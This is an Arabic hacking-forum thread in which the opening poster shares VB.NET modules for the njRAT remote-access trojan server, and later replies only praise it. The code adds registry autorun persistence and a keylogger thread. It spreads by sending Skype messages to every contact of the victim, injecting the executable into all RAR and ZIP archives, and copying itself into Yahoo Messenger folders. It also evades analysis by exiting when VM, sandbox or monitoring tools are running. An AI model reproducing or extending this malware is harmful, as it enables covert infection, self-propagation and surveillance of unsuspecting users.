• أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
  • بادئ الموضوع مستر كولدن
  • تاريخ البدء
DeveloPer Plus

  • إنضم
    4 ديسمبر 2014
    المشاركات
    220
    الإعجابات
    288
    النقاط
    455
    نظام التشغيل
    windows_7
    اللغة البرمجية
    perl
    التوجّه
    white_hat
    برنامج الحماية ؟
    avast
    المتصفح
    firefox
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 455
    رصيدي البنكي الحالي ( 0 )
    المستوى 288
#1
بسم الله الرحمن الرحيم
السلآم عليكم
حبايب كلبي اقدملكم اليوم
{1!9}مجموعة من اكواد الانتشارات+تخطيات للسيرفر برنامج اختراق نجرات
اليكم الاكواد بلغة Vb.NeT{1!9}
[FONT=ae_AlMothnna]تخطيات[/FONT]
[FONT=ae_AlMothnna]Anti sandboxi>Anti Vmware>Anti Apdate DNS>Anti [/FONT]
[FONT=ae_AlMothnna]ZOMANA>Anti CportS[/FONT][FONT=ae_AlMothnna]>smartsniff>spy the spy >TCP EYE[/FONT]
[FONT=ae_AlMothnna]الانتشارات في[/FONT]
[FONT=ae_AlMothnna]USP[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]RAR[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]P2P[/FONT][FONT=ae_AlMothnna]<[/FONT][FONT=ae_AlMothnna]Yahoo[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]lan[/FONT][FONT=ae_AlMothnna]>[/FONT][FONT=ae_AlMothnna]Skype[/FONT]
[FONT=ae_AlMothnna]---------------------------[/FONT]
[FONT=ae_AlMothnna]ضع الكود في[/FONT]
[FONT=ae_AlMothnna]class1[/FONT]
[NOTE]


Mutex.OpenExisting(MTX)
End
Catch ex As Exception
End Try
Try
MT = New Mutex(True, MTX)
Catch ex As Exception
End
End Try
Dim tt As Object = New Thread(AddressOf RC, 1)
tt.Start()


If SPR = True Then
usb.ExeName = RG & ".exe"
usb.Start()
End If
Try
kq = New kl
tt = New Thread(AddressOf kq.WRK, 1)
tt.Start()
Catch ex As Exception
End Try
Dim ac As Integer = 0
Dim su As Integer = 0
Dim ov As String = ""
If BD Then
Try
AddHandler Microsoft.Win32.SystemEvents.SessionEnding, AddressOf ED
pr(1)
Catch ex As Exception
End Try
End If
While True
Thread.CurrentThread.Sleep(1000)
Try
ac += 1
su += 1
If ac = 5 Then
Try
EmptyWorkingSet(Process.GetCurrentProcess.Handle)
Catch ex As Exception
End Try
End If
If ac > 10 Then
ac = 0
If Cn = True Then
If ACT() = ov Then
Else
ov = ACT()
If ov IsNot Nothing Then
If ov.Length > 0 Then
Send("act" & Y & ov)
End If
End If
End If
End If
End If
If su > 7 Then
su = 0
Try
F.Registry.CurrentUser.OpenSubKey(sf, True).SetValue(RG, ChrW(34) & LO.FullName & ChrW(34) & " ..")



[/NOTE]

ثم ضع هذا الكود في
class2
[NOTE]

Imports System
Imports System.Runtime.InteropServices
Imports System.Collections.Generic
Imports System.Reflection
Imports System.Text
Imports System.Windows.Forms
Imports System.IO
Imports System.Diagnostics
Imports Microsoft.Win32
Imports System.DirectoryServices
Imports System.Management






Module SKYYPE
Public Sub Skype()
Try
Dim vv As New FileStream("C:\windows\system32\s4c.vbs", FileMode.Create, FileAccess.Write)
Dim g As New StreamWriter(vv)
g.BaseStream.Seek(0, SeekOrigin.End)
g.WriteLine("on error resume next")
g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
g.WriteLine("Fruxr.Client.Start()")
g.WriteLine("Fruxr.Attach()")
g.WriteLine("For Each KZN In Fruxr.Friends")
g.WriteLine("Fruxr.SendMessage KZN.handle,""Remplacer ici par le texte que vous voulez (ce texte sera ecrit dans toutes les conversations de tout les amis skype de la victime" & """")
g.WriteLine("next")
g.Close()
Process.Start("C:\windows\system32\s4c.vbs")
Dim fa As New FileInfo("C:\windows\system32\s4c.vbs")
fa.Delete()
Catch ex As Exception
End Try
End Sub
End Module


Module RARR
<DllImport("kernel32.dll", CharSet:=CharSet.Auto)> _
Public Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> ByVal path As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal shortPath As StringBuilder, ByVal shortPathLength As Integer) As Integer
End Function
Dim _rarPath As String
Dim _copiedExeName As String
Private Sub Search(ByVal pathName As String)
Dim files As String()
files = Directory.GetFiles(pathName)
For Each file As String In files
If file.Contains(".rar") Then
RarStart(file)
End If
If file.Contains(".zip") Then
RarStart(file)
End If
Next


Dim subdirectorys As String() = Directory.GetDirectories(pathName)
For Each subdirectory As String In subdirectorys
Search(subdirectory)
Next
End Sub




Public Sub Spread(ByVal myExeName As String)
_copiedExeName = myExeName
Dim drives As String() = Environment.GetLogicalDrives()
For Each strDrive As String In drives
Search(strDrive)
Next
File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt")
End Sub


Public Sub RarStart(ByVal archiveToInject As String)
Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"


_rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
If File.Exists(_rarPath) Then
If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
End If


Dim getshortExePath = New StringBuilder(255)
GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
Dim evilpath As String = getshortExePath.ToString()




Dim shortArchiveDirectory = New StringBuilder(255)
GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)


Try
Dim rarProcess As New ProcessStartInfo()
Dim theInfo As String = (" a " & shortArchiveDirectory.ToString & " ") + evilpath
rarProcess.FileName = _rarPath
rarProcess.Arguments = theInfo
rarProcess.WindowStyle = ProcessWindowStyle.Hidden


Process.Start(rarProcess)
Catch
End Try


End If
End Sub
End Module
Module yahoo
Sub yahoo_sp()
On Error Resume Next
Dim YoModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
Dim YaFile As String = Application.ExecutablePath
Dim FoPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Yahoo Messenger\"
If Dir(FoPath, FileAttribute.Directory) <> "" Then
Dim i As Int32 = 0
Dim x As Int32 = 0
Dim shares() As String
shares = System.IO.Directory.GetDirectories(FoPath)
For i = 0 To shares.GetUpperBound(0)
If Dir(shares(i), FileAttribute.Directory) <> "" Then
If File.Exists(shares(i) & "\ys.scr") = False Then
File.Copy(YaFile, shares(i) & "\ys.scr")
End If
End If
Next
End If
End Sub
End Module
[/NOTE]


ايضا ضع هذا كود في
Module1
[NOTE]​

Public Class anti


Public Function IsSafe() As Boolean
For Each x As String In New String() {"cfp", "vmplayer", "cports", "ApateDNS", "antilogger", "procexp", "smsniff", "TcpEye", "SpyTheSpy"}
If Process.GetProcessesByName(x).Length > 0 Then Return False
Next
Return True
End Function
End Class


[/NOTE]
 


ExpErt DeveloPer

  • إنضم
    15 نوفمبر 2014
    المشاركات
    620
    الإعجابات
    868
    النقاط
    515
    نظام التشغيل
    windows_7
    اللغة البرمجية
    visual_basic
    التوجّه
    grey_hat
    برنامج الحماية ؟
    eset_nod
    المتصفح
    chrome
    الإقامة
    IraQ
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 515
    رصيدي البنكي الحالي ( 0 )
    المستوى 868
#2
رد: اضافة انتشارات للسيرفر و تخطيات

احسنت ياغالي
 


موقوف لمخالفة الشروط

  • إنضم
    22 أغسطس 2014
    المشاركات
    244
    الإعجابات
    3
    النقاط
    50
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 50
    رصيدي البنكي الحالي ( 0 )
    المستوى 3
#3
رد: اضافة انتشارات للسيرفر و تخطيات

احسنت اخي الكريم موفق في الطرح استمر في ابداعك
 


AnonYmous-IQ


مشرف آمن المواقع والسيرفرات
ExpErt DeveloPer

  • إنضم
    31 أغسطس 2014
    المشاركات
    383
    الإعجابات
    458
    النقاط
    255
    نظام التشغيل
    linux
    اللغة البرمجية
    php
    التوجّه
    black_hat
    برنامج الحماية ؟
    other
    المتصفح
    firefox
    الإقامة
    Iraq
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 255
    رصيدي البنكي الحالي ( 0 )
    المستوى 458
#4
رد: اضافة انتشارات للسيرفر و تخطيات

{1!$7} عشت يا ؤردة {1!$7}


 


موقوف لمخالفة الشروط

  • إنضم
    21 نوفمبر 2014
    المشاركات
    347
    الإعجابات
    6
    النقاط
    50
    نظام التشغيل
    linux
    اللغة البرمجية
    python
    التوجّه
    white_hat
    برنامج الحماية ؟
    avast
    المتصفح
    firefox
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 50
    رصيدي البنكي الحالي ( 0 )
    المستوى 6
#5
رد: اضافة انتشارات للسيرفر و تخطيات

عاشت ايدك حب
 


  • إنضم
    10 ديسمبر 2014
    المشاركات
    13
    الإعجابات
    0
    النقاط
    5
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 5
    رصيدي البنكي الحالي ( 0 )
    المستوى 0
#6
رد: اضافة انتشارات للسيرفر و تخطيات

حلوو حبي
 


DeveloPer Plus

  • إنضم
    16 يناير 2015
    المشاركات
    420
    الإعجابات
    18
    النقاط
    50
    نظام التشغيل
    windows_7
    اللغة البرمجية
    c_2
    التوجّه
    white_hat
    المتصفح
    chrome
    الإقامة
    مدينه الصدر
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 50
    رصيدي البنكي الحالي ( 0 )
    المستوى 18
#7
رد: اضافة انتشارات للسيرفر و تخطيات

حلوو استمر في[bgred] ابداعك[/bgred]
 


DeveloPer Plus

  • إنضم
    22 نوفمبر 2012
    المشاركات
    112
    الإعجابات
    0
    النقاط
    50
    التوجّه
    white_hat
    برنامج الحماية ؟
    kaspersky
    المتصفح
    opera
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 50
    رصيدي البنكي الحالي ( 0 )
    المستوى 0
#8
رد: اضافة انتشارات للسيرفر و تخطيات

تْسِسِسِلٌمٍ ايًدًيًك يًا غٍ ’ـالٌيً
 


MR.CAPTCHA


Expert Developer
V • I • P

  • إنضم
    30 أغسطس 2014
    المشاركات
    1,703
    الإعجابات
    14
    النقاط
    150
    نظام التشغيل
    windows_7
    اللغة البرمجية
    c_2
    التوجّه
    grey_hat
    الإقامة
    IRAQ
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 150
    رصيدي البنكي الحالي ( 0 )
    المستوى 14
#9
رد: اضافة انتشارات للسيرفر و تخطيات

كودات رووعة احسنت
 


موقوف لمخالفة الشروط

  • إنضم
    7 ديسمبر 2014
    المشاركات
    416
    الإعجابات
    8
    النقاط
    50
    نظام التشغيل
    windows_8
    اللغة البرمجية
    visual_basic
    التوجّه
    grey_hat
    برنامج الحماية ؟
    avast
    المتصفح
    chrome
    الإقامة
    العراق
    آخر نشاط
  • لم يكتشف اي تلغيمه
  • لم يتحصل على جوائز بعد
  • النقاط المتوفره 50
    رصيدي البنكي الحالي ( 0 )
    المستوى 8
#10
رد: اضافة انتشارات للسيرفر و تخطيات

عاشؤؤ حبيبي وواصل الابداع بكل جديد {1!$4}
 


اضافة انتشارات للسيرفر و تخطيات
الوسوم - Tag الوسوم - Tag